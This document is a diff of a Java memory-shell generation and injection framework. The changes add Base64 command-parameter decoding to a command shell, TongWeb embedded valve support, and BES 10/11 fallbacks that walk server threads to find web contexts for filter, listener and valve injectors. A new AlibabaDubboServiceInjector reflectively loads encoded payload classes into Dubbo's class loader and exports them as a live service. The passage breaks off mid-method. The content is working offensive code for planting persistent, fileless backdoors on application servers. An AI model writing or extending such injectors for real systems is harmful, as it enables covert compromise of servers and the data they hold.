builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
|||||||
+40
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Label;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
@@ -17,6 +21,7 @@ import java.util.Base64;
|
|||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||||
|
private boolean containsSubroutines;
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
super(shellConfig, customConfig);
|
super(shellConfig, customConfig);
|
||||||
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
ClassReader classReader = new ClassReader(classBytes);
|
ClassReader classReader = new ClassReader(classBytes);
|
||||||
|
containsSubroutines = containsSubroutines(classReader);
|
||||||
String className = classReader.getClassName().replace('/', '.');
|
String className = classReader.getClassName().replace('/', '.');
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(className);
|
shellToolConfig.setShellClassName(className);
|
||||||
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
return new ByteBuddy()
|
return new ByteBuddy()
|
||||||
.redefine(typeDescription, compoundLocator);
|
.redefine(typeDescription, compoundLocator);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected int getTargetJreVersion() {
|
||||||
|
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
||||||
|
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
||||||
|
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
||||||
|
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean containsSubroutines(ClassReader classReader) {
|
||||||
|
final boolean[] found = {false};
|
||||||
|
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
return new MethodVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public void visitJumpInsn(int opcode, Label label) {
|
||||||
|
if (opcode == Opcodes.JSR) {
|
||||||
|
found[0] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitVarInsn(int opcode, int var) {
|
||||||
|
if (opcode == Opcodes.RET) {
|
||||||
|
found[0] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||||
|
return found[0];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+19
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
public class DubboServiceInterfaceHelperGenerator {
|
||||||
|
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
||||||
|
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
||||||
|
.redefine(ShellDubboService.class)
|
||||||
|
.name(interfaceName)
|
||||||
|
.make()) {
|
||||||
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-3
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2026/1/13
|
* @since 2026/1/13
|
||||||
*/
|
*/
|
||||||
public class WebSocketByPassHelperGenerator {
|
public class WebSocketByPassHelperGenerator {
|
||||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
if (headerPair == null) {
|
if (headerPair == null) {
|
||||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.field(named("headerName")).value(headerPair.getKey())
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
.field(named("headerValue")).value(headerPair.getValue())
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
.name(CommonUtil.generateClassName());
|
.name(helperClassName);
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|||||||
+16
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/27
|
||||||
|
*/
|
||||||
|
public class Base64ParamInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||||
|
returnValue = ShellCommonUtil.base64DecodeToString(param);
|
||||||
|
}
|
||||||
|
}
|
||||||
+11
@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||||
|
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
|
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
|
||||||
|
}
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.withCustomMapping()
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
|||||||
+6
-2
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
}
|
}
|
||||||
if (shell instanceof TongWeb) {
|
if (shell instanceof TongWeb) {
|
||||||
if (serverVersion == null) {
|
if (serverVersion == null) {
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
switch (serverVersion) {
|
switch (serverVersion) {
|
||||||
case "6":
|
case "6":
|
||||||
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
case "8":
|
case "8":
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
break;
|
break;
|
||||||
|
case "7.E":
|
||||||
|
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (StringUtils.isNotBlank(packageName)) {
|
if (StringUtils.isNotBlank(packageName)) {
|
||||||
|
|||||||
+21
-4
@@ -85,10 +85,27 @@ public class BesFilterInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
for (Object value : childrenMap.values()) {
|
||||||
for (Object value : values) {
|
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
}
|
||||||
contexts.addAll(children.values());
|
} else if (thread.getName().contains("AppServer-utility")) {
|
||||||
|
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||||
|
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
try {
|
||||||
|
target = getFieldValue(target, "wrappedRunnable");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||||
|
for (Object task : workQueue) {
|
||||||
|
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||||
|
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||||
|
for (Object host : childrenMap.values()) {
|
||||||
|
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
|||||||
+21
-4
@@ -77,10 +77,27 @@ public class BesListenerInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
for (Object value : childrenMap.values()) {
|
||||||
for (Object value : values) {
|
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
}
|
||||||
contexts.addAll(children.values());
|
} else if (thread.getName().contains("AppServer-utility")) {
|
||||||
|
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||||
|
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
try {
|
||||||
|
target = getFieldValue(target, "wrappedRunnable");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||||
|
for (Object task : workQueue) {
|
||||||
|
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||||
|
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||||
|
for (Object host : childrenMap.values()) {
|
||||||
|
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
|||||||
+21
-4
@@ -76,10 +76,27 @@ public class BesValveInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
for (Object value : childrenMap.values()) {
|
||||||
for (Object value : values) {
|
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
}
|
||||||
contexts.addAll(children.values());
|
} else if (thread.getName().contains("AppServer-utility")) {
|
||||||
|
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||||
|
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
try {
|
||||||
|
target = getFieldValue(target, "wrappedRunnable");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||||
|
for (Object task : workQueue) {
|
||||||
|
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||||
|
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||||
|
for (Object host : childrenMap.values()) {
|
||||||
|
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
|||||||
+451
@@ -0,0 +1,451 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||||
|
|
||||||
|
import com.alibaba.dubbo.common.URL;
|
||||||
|
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
|
||||||
|
import com.alibaba.dubbo.common.utils.ClassHelper;
|
||||||
|
import com.alibaba.dubbo.config.*;
|
||||||
|
import com.alibaba.dubbo.config.model.ApplicationModel;
|
||||||
|
import com.alibaba.dubbo.config.model.ProviderModel;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.io.StringWriter;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.lang.reflect.Modifier;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class AlibabaDubboServiceInjector {
|
||||||
|
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||||
|
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHelperBase64String() {
|
||||||
|
return "{{helperBase64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public AlibabaDubboServiceInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
msg += registerService();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "unexcepted error: " + stackTrace(e);
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String registerService() throws Exception {
|
||||||
|
String servicePath = normalizePath(getUrlPattern());
|
||||||
|
if (servicePath.isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("path must not be empty");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
|
||||||
|
return resolveServiceAddresses(servicePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
Class<?> serviceInterface = loadClass(getHelperBase64String());
|
||||||
|
Class<?> serviceImpl = loadClass(getBase64String());
|
||||||
|
validateServiceTypes(serviceInterface, serviceImpl);
|
||||||
|
|
||||||
|
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
|
||||||
|
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
|
||||||
|
return resolveServiceAddresses(servicePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
serviceConfig.export();
|
||||||
|
return resolveServiceAddresses(servicePath);
|
||||||
|
} catch (RuntimeException e) {
|
||||||
|
dynamicServices.remove(servicePath, serviceConfig);
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> loadClass(String payload) throws Exception {
|
||||||
|
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
|
||||||
|
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||||
|
definePackageIfNeeded(classLoader, getClassName());
|
||||||
|
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||||
|
registerInJavassistClassPool(classLoader, classBytes);
|
||||||
|
return loadedClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||||
|
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"defineClass",
|
||||||
|
String.class,
|
||||||
|
byte[].class,
|
||||||
|
int.class,
|
||||||
|
int.class,
|
||||||
|
ProtectionDomain.class
|
||||||
|
);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||||
|
int packageEnd = className.lastIndexOf('.');
|
||||||
|
if (packageEnd < 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
String packageName = className.substring(0, packageEnd);
|
||||||
|
try {
|
||||||
|
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||||
|
getPackage.setAccessible(true);
|
||||||
|
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"definePackage",
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
java.net.URL.class
|
||||||
|
);
|
||||||
|
definePackage.setAccessible(true);
|
||||||
|
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
// Defining the package is a convenience for older class loaders. The class can still load without it.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||||
|
try {
|
||||||
|
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||||
|
classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] decodeBase64(String value) throws Exception {
|
||||||
|
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
|
||||||
|
GZIPInputStream inputStream = null;
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try {
|
||||||
|
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buffer)) > 0) {
|
||||||
|
outputStream.write(buffer, 0, read);
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (inputStream != null) {
|
||||||
|
inputStream.close();
|
||||||
|
}
|
||||||
|
outputStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
|
||||||
|
if (!serviceInterface.isInterface()) {
|
||||||
|
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
|
||||||
|
}
|
||||||
|
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
|
||||||
|
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
|
||||||
|
}
|
||||||
|
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
|
||||||
|
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object instantiate(Class<?> serviceImpl) {
|
||||||
|
try {
|
||||||
|
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
return constructor.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
|
||||||
|
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
|
||||||
|
serviceConfig.setInterface(serviceInterface);
|
||||||
|
serviceConfig.setRef(serviceImpl);
|
||||||
|
serviceConfig.setPath(servicePath);
|
||||||
|
|
||||||
|
ProviderConfig providerConfig = findProviderConfig();
|
||||||
|
if (providerConfig != null) {
|
||||||
|
serviceConfig.setProvider(providerConfig);
|
||||||
|
if (notEmpty(providerConfig.getVersion())) {
|
||||||
|
serviceConfig.setVersion(providerConfig.getVersion());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
|
||||||
|
if (applicationConfig != null) {
|
||||||
|
serviceConfig.setApplication(applicationConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
|
||||||
|
if (!protocolConfigs.isEmpty()) {
|
||||||
|
serviceConfig.setProtocols(protocolConfigs);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
|
||||||
|
if (!registryConfigs.isEmpty()) {
|
||||||
|
serviceConfig.setRegistries(registryConfigs);
|
||||||
|
}
|
||||||
|
|
||||||
|
return serviceConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ServiceConfig<?> findRegisteredService(String servicePath) {
|
||||||
|
String normalizedPath = normalizePath(servicePath);
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
